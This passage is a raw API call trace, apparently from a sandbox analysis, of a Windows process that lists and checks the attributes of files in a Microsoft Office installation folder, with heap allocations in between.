nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1 [0134.956] GetCurrentThreadId () returned 0x9b0 [0134.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd11d067c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1 [0134.957] GetCurrentThreadId () returned 0x9b0 [0134.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1078ffd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1 [0134.957] GetCurrentThreadId () returned 0x9b0 [0134.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd10c55e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1 [0134.957] GetCurrentThreadId () returned 0x9b0 [0134.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f9426a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1 [0134.957] GetCurrentThreadId () returned 0x9b0 [0134.957] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b7fe91, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b7fe91, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1ec71c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1 [0134.957] GetCurrentThreadId () returned 0x9b0 [0134.958] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVDllSurrogate32.exe", cAlternateFileName="APPVDL~2.EXE")) returned 1 [0134.958] GetCurrentThreadId () returned 0x9b0 [0134.958] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="AppVDllSurrogate64.exe", cAlternateFileName="APPVDL~1.EXE")) returned 1 [0134.958] GetCurrentThreadId () returned 0x9b0 [0134.958] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1 [0134.958] GetCurrentThreadId () returned 0x9b0 [0134.958] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1 [0134.958] GetCurrentThreadId () returned 0x9b0 [0134.959] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1 [0134.959] GetCurrentThreadId () returned 0x9b0 [0134.959] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1 [0134.959] GetCurrentThreadId () returned 0x9b0 [0134.959] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppVLP.exe", cAlternateFileName="")) returned 1 [0134.959] GetCurrentThreadId () returned 0x9b0 [0134.959] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1 [0134.959] GetCurrentThreadId () returned 0x9b0 [0134.959] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1 [0134.959] GetCurrentThreadId () returned 0x9b0 [0134.960] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd11f68b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd11f68b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd191da0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0134.960] GetCurrentThreadId () returned 0x9b0 [0134.960] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1242d5d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1242d5d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1bcc41c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5644a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0134.960] GetCurrentThreadId () returned 0x9b0 [0134.960] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd244aa14, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0134.960] GetCurrentThreadId () returned 0x9b0 [0134.960] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ea0ff2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ea0ff2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd20449b3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0134.960] GetCurrentThreadId () returned 0x9b0 [0134.960] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e7acf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e7acf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1fac086, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0134.960] GetCurrentThreadId () returned 0x9b0 [0134.960] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e2e85a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e2e85a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f5fb21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1 [0134.961] GetCurrentThreadId () returned 0x9b0 [0134.961] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2f0533c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5f4b0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0134.961] GetCurrentThreadId () returned 0x9b0 [0134.961] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0134.961] GetCurrentThreadId () returned 0x9b0 [0134.961] FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2424784, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2424784, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26acf16, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15ab0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0134.961] GetCurrentThreadId () returned 0x9b0 [0134.961] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0134.962] GetCurrentThreadId () returned 0x9b0 [0134.962] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l1-2-0.dll")) returned 0x220 [0134.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0134.964] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0134.964] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0134.964] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0134.965] GetCurrentThreadId () returned 0x9b0 [0134.965] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-localization-l1-2-0.dll")) returned 0x220 [0134.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0134.965] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-processthreads-l1-1-1.dll")) returned 0x220 [0134.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2858 | out: hHeap=0x2ad0000) returned 1 [0134.966] GetCurrentThreadId () returned 0x9b0 [0134.966] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220 [0134.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2828 | out: hHeap=0x2ad0000) returned 1 [0134.967] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812a0, Size=0x20) returned 0x3028328 [0134.967] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220 [0134.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2978 | out: hHeap=0x2ad0000) returned 1 [0134.968] GetCurrentThreadId () returned 0x9b0 [0134.968] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220 [0134.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0134.968] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x220 [0134.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0134.968] GetCurrentThreadId () returned 0x9b0 [0134.969] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220 [0134.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2510 | out: hHeap=0x2ad0000) returned 1 [0134.969] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028328, Size=0x40) returned 0x3887338 [0134.969] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x220 [0134.970] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0134.970] GetCurrentThreadId () returned 0x9b0 [0134.970] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x220 [0134.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0134.971] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0134.971] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1ee0 | out: hHeap=0x2ad0000) returned 1 [0134.971] GetCurrentThreadId () returned 0x9b0 [0134.971] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220 [0134.972] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0134.972] GetCurrentThreadId () returned 0x9b0 [0134.972] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220 [0134.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a28d8 | out: hHeap=0x2ad0000) returned 1 [0134.973] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0134.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2d38 | out: hHeap=0x2ad0000) returned 1 [0134.973] GetCurrentThreadId () returned 0x9b0 [0134.973] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0134.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2930 | out: hHeap=0x2ad0000) returned 1 [0134.974] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220 [0134.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21f8 | out: hHeap=0x2ad0000) returned 1 [0134.974] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3887338, Size=0x64) returned 0x2a195e8 [0134.975] GetCurrentThreadId () returned 0x9b0 [0134.975] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220 [0134.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1f90 | out: hHeap=0x2ad0000) returned 1 [0134.976] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220 [0134.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a26c8 | out: hHeap=0x2ad0000) returned 1 [0134.976] GetCurrentThreadId () returned 0x9b0 [0134.976] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0134.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2720 | out: hHeap=0x2ad0000) returned 1 [0134.976] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x220 [0134.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a23b0 | out: hHeap=0x2ad0000) returned 1 [0134.977] GetCurrentThreadId () returned 0x9b0 [0134.977] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220 [0134.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2300 | out: hHeap=0x2ad0000) returned 1 [0134.978] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe")) returned 0x220 [0134.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db670 | out: hHeap=0x2ad0000) returned 1 [0134.978] GetCurrentThreadId () returned 0x9b0 [0134.978] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe")) returned 0x220 [0134.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db760 | out: hHeap=0x2ad0000) returned 1 [0134.978] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll")) returned 0x420 [0134.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0134.979] GetCurrentThreadId () returned 0x9b0 [0134.979] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll")) returned 0x420 [0134.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33db6c0 | out: hHeap=0x2ad0000) returned 1 [0134.980] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a195e8, Size=0x8c) returned 0x2ac10c8 [0134.980] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems32.dll")) returned 0x420 [0134.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbd50 | out: hHeap=0x2ad0000) returned 1 [0134.981] GetCurrentThreadId () returned 0x9b0 [0134.981] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvsubsystems64.dll")) returned 0x420 [0134.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbad0 | out: hHeap=0x2ad0000) returned 1 [0134.981] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppVLP.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvlp.exe")) returned 0x220 [0134.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38876e0 | out: hHeap=0x2ad0000) returned 1 [0134.982] GetCurrentThreadId () returned 0x9b0 [0134.982] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\C2R32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\c2r32.dll")) returned 0x420 [0134.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a728 | out: hHeap=0x2ad0000) returned 1 [0134.982] GetFileAttributesA (lpFileName="C:\\Program 